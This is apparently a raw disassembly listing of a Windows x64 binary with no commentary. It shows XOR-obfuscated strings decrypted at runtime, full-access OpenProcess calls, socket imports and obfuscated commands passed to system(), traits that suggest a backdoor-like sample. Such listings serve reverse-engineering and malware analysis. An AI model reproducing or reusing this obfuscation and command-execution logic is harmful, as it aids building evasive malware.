xor byte [rdx + 0x21], 0x19
xor byte [rdx + 0x22], 0xe5
xor byte [rdx + 0x23], 0xc9
xor byte [rdx + 0x24], 0xd9
xor byte [rdx + 0x25], 0xd
xor byte [rdx + 0x26], 0xe9
mov byte [rdx + 0x27], 0
mov rcx, rbx
call fcn.1400019f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x7b0], xmm0
movups xmmword [rbp + 0x7c0], xmm0
movups xmmword [rbp + 0x7d0], xmm0
movups xmmword [rbp + 0x7e0], xmm0
movups xmmword [rbp + 0x7f0], xmm0
movups xmmword [rbp + 0x800], xmm0
movups xmmword [rbp + 0x810], xmm0
mov ebx, dword [rbp + 0x510]
movdqu xmmword [rbp + 0x7a0], xmm0
mov qword [rbp + 0x7b0], rdi
mov qword [rbp + 0x820], rdi
lea rcx, [rbp + 0x7f0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x7e8], rax
lea rdx, [rbp + 0x6e0]
lea rcx, [rbp + 0x7a0]
call fcn.1400011e0
mov esi, edi
lea rdx, [rbp + 0x7a0]
lea rcx, [rbp + 0x780]
call fcn.140001640
nop
mov rbx, qword [rbp + 0x780]
mov rax, qword [rbp + 0x788]
mov qword [rbp - 0x60], rax
cmp rbx, rax
je 0x140007575
mov esi, 1
movups xmm9, xmmword [0x140066948]
movups xmm10, xmmword [0x140066938]
movsd xmm11, qword [0x140066a78]
movups xmm12, xmmword [str._UNQ_]
movsd xmm13, qword [0x140066920]
movups xmm14, xmmword [str.UNQ_]
movups xmm15, xmmword [0x140066a80]
mov r12d, dword [reloc.WS2_32.dll_accept]
mov eax, dword [0x140066904]
mov dword [rsp + 0x30], eax
movzx eax, byte [0x140066908]
mov byte [rsp + 0x30], 0x33
xor byte [rsp + 0x31], 0x3a
xor byte [rsp + 0x32], 0x3b
xor byte [rsp + 0x33], 0x3c
xor al, 0x3d
mov byte [rsp + 0x34], al
lea rcx, [rsp + 0x30]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140004ab0
mov r8, qword [rbx + 0x10]
mov rcx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140004aca
mov rcx, qword [rbx]
cmp r8, rax
jne 0x140004ae1
lea rdx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140006188
movups xmm0, xmmword [str.T_OYRL__7_5_e_9__2_:1__x__37_r_:]
movups xmmword [rbp + 0x2c0], xmm0
movups xmm0, xmmword [0x1400669e0]
movups xmmword [rbp + 0x2d0], xmm0
movups xmm0, xmmword [0x1400669f0]
movups xmmword [rbp + 0x2e0], xmm0
movups xmm0, xmmword [0x140066a00]
movups xmmword [rbp + 0x2f0], xmm0
movsd xmm0, qword [0x140066a10]
movsd qword [rbp + 0x300], xmm0
mov eax, dword [0x140066a18]
mov dword [rbp + 0x308], eax
mov r8d, edi
cmp r12d, 2
jl 0x140004c97
movdqa xmm5, xmmword [0x140066aa0]
movdqa xmm4, xmmword [0x140066c20]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x140066ac0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x140066bc0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x2c4]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140066ad0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140066ad0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x140004b90
cmp r8d, 0x4c
jge 0x140004ce0
movsxd rax, r8d
lea r9, [rbp + 0x2c0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4c
jl 0x140004cb0
lea rcx, [rbp + 0x2c0]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x140004cf0
mov r8, qword [rbx + 0x10]
mov rcx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140004d0a
mov rcx, qword [rbx]
cmp r8, rax
jne 0x140004d23
lea rdx, [rbp + 0x2c0]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14000634e
movups xmm0, xmmword [0x140066990]
movups xmmword [rbp + 0x280], xmm0
movups xmm0, xmmword [0x1400669a0]
movups xmmword [rbp + 0x290], xmm0
movups xmm0, xmmword [0x1400669b0]
movups xmmword [rbp + 0x2a0], xmm0
movzx eax, word [0x1400669c0]
mov word [rbp + 0x2b0], ax
mov r8d, edi
cmp r12d, 2
jl 0x140004eb7
movdqa xmm5, xmmword [0x140066aa0]
movdqa xmm4, xmmword [0x140066c20]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x140066ac0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x140066bc0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x284]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140066ad0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140066ad0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140004db0
cmp r8d, 0x32
jge 0x140004f00
movsxd rax, r8d
lea r9, [rbp + 0x280]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x32
jl 0x140004ed0
lea rcx, [rbp + 0x280]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x140004f10
mov r8, qword [rbx + 0x10]
mov rcx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140004f2a
mov rcx, qword [rbx]
cmp r8, rax
jne 0x140004f43
lea rdx, [rbp + 0x280]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14000657f
movups xmm0, xmmword [0x140066960]
movups xmmword [rbp + 0xd8], xmm0
mov eax, dword [0x140066970]
mov dword [rbp + 0xe8], eax
movzx eax, word [0x140066974]
mov word [rbp + 0xec], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_79]
mov byte [rbp + 0xee], al
mov r8d, edi
cmp r12d, 2
jl 0x1400050d7
movdqa xmm5, xmmword [0x140066aa0]
movdqa xmm4, xmmword [0x140066c20]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x140066ac0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x140066bc0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0xdc]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140066ad0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140066ad0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140004fd0
cmp r8d, 0x17
jge 0x140005120
movsxd rax, r8d
lea r9, [rbp + 0xd8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x1400050f0
lea rcx, [rbp + 0xd8]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x140005130
mov r8, qword [rbx + 0x10]
mov rcx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x14000514a
mov rcx, qword [rbx]
cmp r8, rax
jne 0x140005163
lea rdx, [rbp + 0xd8]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14000657f
movsd xmm0, qword [0x140066928]
movsd qword [rbp - 0x38], xmm0
mov eax, dword [0x140066930]
mov dword [rbp - 0x30], eax
movzx eax, word [0x140066934]
mov word [rbp - 0x2c], ax
movzx eax, byte [0x140066936]
mov byte [rbp - 0x2a], al
mov r8d, edi
cmp r12d, 2
jl 0x1400052ac
movdqa xmm4, xmmword [0x140066c20]
mov eax, 4
movd xmm6, eax
mov eax, Ordinal_32
movd xmm5, eax
movdqa xmm2, xmmword [0x140066aa0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140066ac0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140066ad0]
packuswb xmm2, xmm2
mov eax, dword [0x140066bc0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x140066928]
pxor xmm2, xmm1
movd dword [rbp - 0x38], xmm2
movdqa xmm3, xmmword [0x140066ab0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140066ac0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140066ad0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x34]
pxor xmm2, xmm1
movd dword [rbp - 0x34], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x38]
add r9, rax
nop word [rax + rax]
mov edi, esi
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400052c0
lea rcx, [rbp - 0x38]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140005300
mov r8, qword [rbx + 0x10]
mov rcx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x14000531a
mov rcx, qword [rbx]
cmp r8, rax
jne 0x140005330
lea rdx, [rbp - 0x38]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400067a4
movups xmm0, xmmword [0x140066978]
movups xmmword [rbp + 0xc0], xmm0
movzx eax, byte [0x140066988]
mov byte [rbp + 0xd0], al
xor r8d, r8d
cmp r12d, 2
jl 0x1400054a7
movdqa xmm5, xmmword [0x140066aa0]
movdqa xmm4, xmmword [0x140066c20]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x140066ac0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x140066bc0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0xc4]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140066ad0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140066ad0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400053a0
cmp r8d, 0x11
jge 0x1400054f0
movsxd rax, r8d
lea r9, [rbp + 0xc0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400054c0
lea rcx, [rbp + 0xc0]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x140005500
mov r8, qword [rbx + 0x10]
mov rcx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x14000551a
mov rcx, qword [rbx]
cmp r8, rax
jne 0x140005533
lea rdx, [rbp + 0xc0]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140006a1b
movups xmm0, xmmword [0x140066a48]
movups xmmword [rbp + 0x180], xmm0
movsd xmm0, qword [0x140066a58]
movsd qword [rbp + 0x190], xmm0
mov eax, dword [0x140066a60]
mov dword [rbp + 0x198], eax
movzx eax, byte [0x140066a64]
mov byte [rbp + 0x19c], al
xor edi, edi
mov r8d, edi
cmp r12d, 2
jl 0x1400056c7
mov edx, 4
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x140066c80]
mov dword [rbp + 0x5c8], 0x745c574e
mov dword [rbp + 0x5cc], 0x689ff24f
mov dword [rbp + 0x5d0], 0x2c495d58
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x344
mov eax, dword [rdx + rcx]
mov r14d, 0x5a0
test al, 1
jne 0x140006253
or eax, 1
mov dword [rdx + rcx], eax
add rcx, r14
mov byte [rcx + 0x1d], 1
lea rax, [rcx + 0x1c]
lea rdx, [rbp + 0x5d4]
cmp rcx, rdx
ja 0x140006229
lea rdx, [rbp + 0x5b8]
cmp rax, rdx
jb 0x140006229
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x5c8]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x5d0]
mov dword [rcx + 0x18], eax
mov byte [rcx + 0x1c], reloc.WS2_32.dll_WSAGetLastError
jmp 0x140006246
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x5c8]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x5d0]
mov dword [rcx + 0x18], eax
mov byte [rcx + 0x1c], reloc.WS2_32.dll_WSAGetLastError
lea rcx, [0x140058ac0]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, r14
cmp byte [rdx + 0x1d], 0
je 0x1400062df
xor byte [rdx], 0x3d
xor byte [rdx + 1], 0x33
xor byte [rdx + 2], 0x3d
xor byte [rdx + 3], 0xd
xor byte [rdx + 4], 0x6f
xor byte [rdx + 5], 0xb1
xor byte [rdx + 6], 0xf3
xor byte [rdx + 7], 1
xor byte [rdx + 8], 0x3d
xor byte [rdx + 9], 0x33
xor byte [rdx + 0xa], 0x3d
xor byte [rdx + 0xb], 0xd
xor byte [rdx + 0xc], 0x6f
xor byte [rdx + 0xd], 0xb1
xor byte [rdx + 0xe], 0xf3
xor byte [rdx + 0xf], 1
xor byte [rdx + 0x10], 0x3d
xor byte [rdx + 0x11], 0x33
xor byte [rdx + 0x12], 0x3d
xor byte [rdx + 0x13], 0xd
xor byte [rdx + 0x14], 0x6f
xor byte [rdx + 0x15], 0xb1
xor byte [rdx + 0x16], 0xf3
xor byte [rdx + 0x17], 1
xor byte [rdx + 0x18], 0x3d
xor byte [rdx + 0x19], 0x33
xor byte [rdx + 0x1a], 0x3d
xor byte [rdx + 0x1b], 0xd
xor byte [rdx + 0x1c], 0x6f
mov byte [rdx + 0x1d], 0
mov rcx, rbx
call fcn.1400019f0
mov rbx, rax
mov rcx, qword gs:[0x58]
mov rdx, qword [rcx]
mov eax, 0x354
mov ecx, dword [rax + rdx]
mov r14d, 0x39c
test cl, 1
jne 0x140006329
or ecx, 1
mov dword [rax + rdx], ecx
mov word [rdx + r14 + 1], 0x133
mov byte [rdx + r14], gethostname
lea rcx, [0x140058aa0]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, r14
cmp byte [rdx + 2], 0
je 0x14000755e
xor byte [rdx], 0x3d
xor byte [rdx + 1], 0x33
jmp 0x14000755a
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x468
mov eax, dword [rdx + rcx]
mov ebx, 0x418
test al, 1
jne 0x140006390
or eax, 1
mov dword [rdx + rcx], eax
mov word [rbx + rcx + 3], 0x139
mov word [rbx + rcx], 0x7910
mov byte [rbx + rcx + 2], 0x46
lea rcx, [0x140058a80]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
add rcx, rbx
cmp byte [rcx + 4], 0
je 0x1400063b8
xor byte [rcx], 0x73
xor byte [rcx + 1], 0x15
xor byte [rcx + 2], 0x35
xor byte [rcx + 3], 0x39
mov byte [rcx + 4], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 4
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x140066cc0]
mov dword [rbp + 0x648], 0xcebbfb54
mov dword [rbp + 0x64c], 0xbbdea89f
mov word [rbp + 0x650], 0xa84f
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x294
mov eax, dword [rdx + rcx]
mov r14d, 0x5f0
test al, 1
jne 0x14000648c
or eax, 1
mov dword [rdx + rcx], eax
add rcx, r14
mov byte [rcx + 0x1b], 1
lea rax, [rcx + 0x1a]
lea rdx, [rbp + 0x652]
cmp rcx, rdx
ja 0x140006460
lea rdx, [rbp + 0x638]
cmp rax, rdx
jb 0x140006460
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x648]
movsd qword [rcx + 0x10], xmm0
movzx eax, word [rbp + 0x650]
mov word [rcx + 0x18], ax
mov byte [rcx + 0x1a], 0x9b
jmp 0x14000647f
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x648]
movsd qword [rcx + 0x10], xmm0
movzx eax, word [rbp + 0x650]
mov word [rcx + 0x18], ax
mov byte [rcx + 0x1a], 0x9b
lea rcx, [0x140058a50]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, r14
cmp byte [rdx + 0x1b], 0
je 0x140006510
xor byte [rdx], 0x3b
xor byte [rdx + 1], 0x89
xor byte [rdx + 2], 0x9b
xor byte [rdx + 3], 0x8d
xor byte [rdx + 4], 0xf3
xor byte [rdx + 5], 0xc1
xor byte [rdx + 6], 0xbb
xor byte [rdx + 7], 0xd5
xor byte [rdx + 8], 0x3b
xor byte [rdx + 9], 0x89
xor byte [rdx + 0xa], 0x9b
xor byte [rdx + 0xb], 0x8d
xor byte [rdx + 0xc], 0xf3
xor byte [rdx + 0xd], 0xc1
xor byte [rdx + 0xe], 0xbb
xor byte [rdx + 0xf], 0xd5
xor byte [rdx + 0x10], 0x3b
xor byte [rdx + 0x11], 0x89
xor byte [rdx + 0x12], 0x9b
xor byte [rdx + 0x13], 0x8d
xor byte [rdx + 0x14], 0xf3
xor byte [rdx + 0x15], 0xc1
xor byte [rdx + 0x16], 0xbb
xor byte [rdx + 0x17], 0xd5
xor byte [rdx + 0x18], 0x3b
xor byte [rdx + 0x19], 0x89
xor byte [rdx + 0x1a], 0x9b
mov byte [rdx + 0x1b], 0
mov rcx, rbx
call fcn.1400019f0
mov rbx, rax
mov rcx, qword gs:[0x58]
mov rdx, qword [rcx]
mov eax, 0x268
mov ecx, dword [rax + rdx]
mov r14d, 0x23c
test cl, 1
jne 0x14000655a
or ecx, 1
mov dword [rax + rdx], ecx
mov word [rdx + r14 + 1], 0x189
mov byte [rdx + r14], Ordinal_50
lea rcx, [0x140058a30]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, r14
cmp byte [rdx + 2], 0
je 0x14000755e
xor byte [rdx], 0x3b
xor byte [rdx + 1], 0x89
jmp 0x14000755a
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x198
mov eax, dword [rdx + rcx]
mov ebx, 0x61c
test al, 1
jne 0x1400065c1
or eax, 1
mov dword [rdx + rcx], eax
mov word [rbx + rcx + 3], 0x1b5
mov word [rbx + rcx], 0xe5de
mov byte [rbx + rcx + 2], 0xa2
lea rcx, [0x140058a10]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
add rcx, rbx
cmp byte [rcx + 4], 0
je 0x1400065e9
xor byte [rcx], 0xbd
xor byte [rcx + 1], 0x89
xor byte [rcx + 2], 0xd1
xor byte [rcx + 3], 0xb5
mov byte [rcx + 4], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 4
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x140066cf0]
mov dword [rbp + 0x628], 0x89b05d8d
mov dword [rbp + 0x62c], 0xb94194ae
mov word [rbp + 0x630], 0x7dd8
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x2ac
mov eax, dword [rdx + rcx]
mov r14d, 0x380
test al, 1
jne 0x1400066b5
or eax, 1
mov dword [rdx + rcx], eax
add rcx, r14
mov byte [rcx + 0x1a], 1
lea rax, [rcx + 0x19]
lea rdx, [rbp + 0x631]
cmp rcx, rdx
ja 0x14000668d
lea rdx, [rbp + 0x618]
cmp rax, rdx
jb 0x14000668d
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x628]
movsd qword [rcx + 0x10], xmm0
movzx eax, word [rbp + 0x630]
mov word [rcx + 0x18], ax
jmp 0x1400066a8
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x628]
movsd qword [rcx + 0x10], xmm0
movzx eax, word [rbp + 0x630]
mov word [rcx + 0x18], ax
lea rcx, [0x1400589e0]
call fcn.140008c88
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, r14
cmp byte [rdx + 0x1a], 0
je 0x140006735
xor byte [rdx], 0xf9
xor byte [rdx + 1], 0x7d
xor byte [rdx + 2], 0xf3
xor byte [rdx + 3], 0xe5
xor byte [rdx + 4], 0xc7
xor byte [rdx + 5], 0xf1
xor byte [rdx + 6], 0x2f
xor byte [rdx + 7], 0xcd
xor byte [rdx + 8], 0xf9
xor byte [rdx + 9], 0x7d
xor byte [rdx + 0xa], 0xf3
xor byte [rdx + 0xb], 0xe5
xor byte [rdx + 0xc], 0xc7
xor byte [rdx + 0xd], 0xf1
xor byte [rdx + 0xe], 0x2f
xor byte [rdx + 0xf], 0xcd
xor byte [rdx + 0x10], 0xf9
xor byte [rdx + 0x11], 0x7d
xor byte [rdx + 0x12], 0xf3
xor byte [rdx + 0x13], 0xe5
xor byte [rdx + 0x14], 0xc7
xor byte [rdx + 0x15], 0xf1
xor byte [rdx + 0x16], 0x2f
xor byte [rdx + 0x17], 0xcd
xor byte [rdx + 0x18], 0xf9
xor byte [rdx + 0x19], 0x7d
mov byte [rdx + 0x1a], 0
mov rcx, rbx
call fcn.1400019f0
mov rbx, rax
mov rcx, qword gs:[0x58]
mov rdx, qword [rcx]
